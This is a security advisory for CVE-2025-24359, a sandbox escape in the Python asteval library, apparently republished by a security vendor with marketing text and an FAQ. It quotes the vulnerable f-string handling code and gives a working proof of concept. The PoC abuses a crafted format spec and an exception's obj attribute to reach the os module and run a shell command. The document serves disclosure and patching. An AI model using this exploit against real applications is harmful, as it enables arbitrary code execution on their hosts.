Summary
ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape
If an attacker can control the input to the asteval library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.
Details
The vulnerability is rooted in how asteval performs handling of FormattedValue AST nodes. In particular, the on_formattedvalue value uses the dangerous format method of the str class, as shown in the vulnerable code snippet below:
def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
"formatting used in f-strings"
val = self.run(node.value)
fstring_converters = {115: str, 114: repr, 97: ascii}
if node.conversion in fstring_converters:
val = fstring_converters[node.conversion](val)
fmt = '{__fstring__}'
if node.format_spec is not None:
fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
return fmt.format(__fstring__=val)
The code above allows an attacker to manipulate the value of the string used in the dangerous call fmt.format(__fstring__=val). This vulnerability can be exploited to access protected attributes by intentionally triggering an AttributeError exception. The attacker can then catch the exception and use its obj attribute to gain arbitrary access to sensitive or protected object properties.
PoC
The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the whoami command on the host machine:
from asteval import Interpreter
aeval = Interpreter()
code = """
# def lender():
# ga
def pwn():
try:
f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}"
except Exception as ga:
ga = ga.obj
sub = ga(dict.mro()[1],"__subclasses__")()
importer = None
for i in sub:
if "BuiltinImporter" in str(i):
importer = i.load_module
break
os = importer("os")
os.system("whoami")
# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below
# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works
pwn()
"""
aeval(code)
Impact
CVE-2025-24359 has a CVSS score of 8.4 (High). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2025-24359? CVE-2025-24359 is a high-severity security vulnerability in asteval (pip), affecting versions <= 1.0.5. It is fixed in 1.0.6.
- How severe is CVE-2025-24359? CVE-2025-24359 has a CVSS score of 8.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of asteval are affected by CVE-2025-24359? asteval (pip) versions <= 1.0.5 is affected.
- Is there a fix for CVE-2025-24359? Yes. CVE-2025-24359 is fixed in 1.0.6. Upgrade to this version or later.
- Is CVE-2025-24359 exploitable, and should I be worried? Whether CVE-2025-24359 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-24359 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-24359? Upgrade
astevalto 1.0.6 or later.